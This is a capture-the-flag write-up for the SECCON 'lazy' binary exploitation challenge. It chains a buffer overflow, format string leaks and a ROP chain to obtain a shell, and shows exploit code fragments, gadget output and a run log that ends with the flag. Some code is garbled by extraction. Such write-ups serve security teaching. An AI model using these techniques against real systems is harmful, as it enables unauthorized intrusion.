We are presented with 3 options, login is to provide a username and password which for now we don’t know yet, public contents provides us with a bunch of files and the source code of login_source.c file:
voidinput(char *buf){ int recv; int i = 0; while(1){ recv = (int)read(STDIN_FILENO,&buf[i],1); if(recv == -1){ puts("ERROR!"); exit(-1); } if(buf[i] == '\n'){ return; } i++; } }
There’s an obvious buffer overflow vulnerability at input function, USERNAME and PASSWORD are defined with the #define macros and later copied into local variables in the stack:
Since we have no limits on the number of characters and input_username is located before in the stack we can leak both username and password if we fill until we reach that variable.
In this case we can leak the password by sending 32 characters(size of buffer), remember that to interrupt the input we need to send a newline in the end so we send 31* 'A' + '\n'.
password : 3XPL01717 Logged in! 1: Public contents 2: Login 3: Exit 4: Manage 4 Welcome to private directory You can download contents in this directory, but you can't download contents with a dot in the name lazy libc.so.6 Input file name
We can now download the full executable but unfortunately we can’t download the libc.so.6 which is probably a modified version, at this stage I downloaded lazy and started reverse engineering the binary:
1 2 3 4 5 6
defdownloadLazy(): r.sendlineafter('4: Manage\n','4') r.sendlineafter('Input file name\n', 'lazy') r.recvuntil('Sending 14216 bytes') with open('lazy', 'w+') as f: f.write(r.recvall(timeout=2))
Opening it on IDA we find a format string vulnerability after inputting the file name:
This can be combined with the buffer overflow vulnerability, we can leak addresses from the stack in this case we can leak the stack canary and a libc address from the GOT but we are missing the final piece of the puzzle we don’t know which libc version is to calculate the offsets.
Failed approaches to get the libc.so.6 file:
My first approach was to leak some libc addresses from the GOT and tried to use libc-database but I failed the libc is probably a custom one modified by the author on purpose, so my only option was to find a way to download the libc.so.6 from the server.
2nd approach was to modify the file name with format string perhaps there is a check in download function which limits the amount of characters of the filename making this very hard or almost impossible (at least I didn’t manage to do it this way).
The one that worked was to create a ropchain that would open the file and jump right at the middle of the download function at the call fstat function and why at the middle ?
The first three file descriptors are reserved for stdin (0x0), stdout(0x1) and stderr(0x2), so the next open we are going to use in ROP is going to be 0x3 this is important to know because we don’t have a gadget that can control move values from the register rax (open returns the fd to rax) but since we know exactly the fd number is we can just use a POP RDI gadget to move the number 0x3 there.
There are two useful ROP gadgets that can be used to execute open:
1 2 3 4
$ ROPgadget --binary lazy | grep 'pop rdi' 0x00000000004015f3 : pop rdi ; ret $ ROPgadget --binary lazy | grep 'pop rsi' 0x00000000004015f1 : pop rsi ; pop r15 ; ret
With this we can control both 1st and 2nd args of a function so we can construct the execution of open like this:
Note that LIBC_SO_6 address can be taken from the binary by using IDA like this:
Another thing that we need to consider we need to set RBP into a valid address, RBP is the base frame pointer which is used to calculate with offsets to the local variables of that function , the RBP** is fucked because we are jumping right at the middle of the function:
STACKADDR is the address we leak from the stack with format string at the position 1, but why +0xc0 ?
Another problem emerges, we also need to modify the local variable at RBP-0xdc to 0x3 otherwise read will read from a file descriptor at a value in that location in this case it will be 0x0 which is the stdin
But how can we modify a value at that location of the stack ? we can form a read ropchain but how do we do it if we don’t have any gadget to modify rdx ? well we can use atoi in the end of the executing it will set rdx to 0xa which is enough to use read to set the value 0x3 from the stdin.
Forming the ropchain:
1 2 3 4 5 6 7 8 9 10
ropchain += p64(POPRDI) ropchain += p64(0x401788) ropchain += p64(elf.plt['atoi']) # atoi(0x401788) which will do RDX = 0xa
Remember this is necessary because since we are skipping running open at the download function we don’t also set RBP-0xdc to 0x3 which it should have been done here:
And finally the last part which is to setup the parameters for fstat and jump to the middle of download:
After this we can successfully download but the file is somehow corrupted it came incomplete perhaps we can still get the offsets for the functions we need to create a final ropchain and get a shell:
The offset to system:
The offset to /bin/sh:
The offset to puts:
The functions that I used to leak addresses:
1 2 3 4 5 6 7 8 9 10 11
# Leaks from the stack defleakFMTSi(i): r.sendlineafter('4: Manage\n','4') r.sendlineafter('Input file name\n', '%{}$lx '.format(i))
# Leaks from an address defleakFMTSaddr(addr): r.sendlineafter('4: Manage\n','4') s = '%7$s ' s += p64(addr) r.sendlineafter('Input file name\n', s)
Leaking the addresses, calculating offsets to libc:
$ python lazy.py REMOTE [*] '/ctf/work/pwn/lazy/lazy' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to lazy.chal.seccon.jp on port 33333: Done [*] PUTS 0x7f52ab072880 [*] LIBC 0x7f52ab00b000 [*] LIBC 0x7f52ab04a570 [*] LIBC 0x7f52ab16ec38 0\x1f`OK! Downloading...
[*] CANARY 0x76eb2783e56af300 [*] STACKADDR 0x7ffead1298c0 [+] Receiving all data: Done (3.49MB) [*] Closed connection to lazy.chal.seccon.jp port 33333 [+] Opening connection to lazy.chal.seccon.jp on port 33333: Done [*] PUTS 0x7fb92abf5880 [*] LIBC 0x7fb92ab8e000 [*] LIBC 0x7fb92abcd570 [*] LIBC 0x7fb92acf1c38 0\x1f`OK! Downloading...
[*] CANARY 0x2af46916b0743600 [*] STACKADDR 0x7fff8cfe3ed0 [*] Switching to interactive mode Welcome to private directory You can download contents in this directory, but you can't download contents with a dot in the name lazy libc.so.6 Input file name Filename : libcOK! Downloading... ./lib No such file! $ ls 810a0afb2c69f8864ee65f0bdca999d7_FLAG cat lazy ld.so libc.so.6 q run.sh $ ./cat 810a0afb2c69f8864ee65f0bdca999d7_FLAG SECCON{Keep_Going!_KEEP_GOING!_K33P_G01NG!}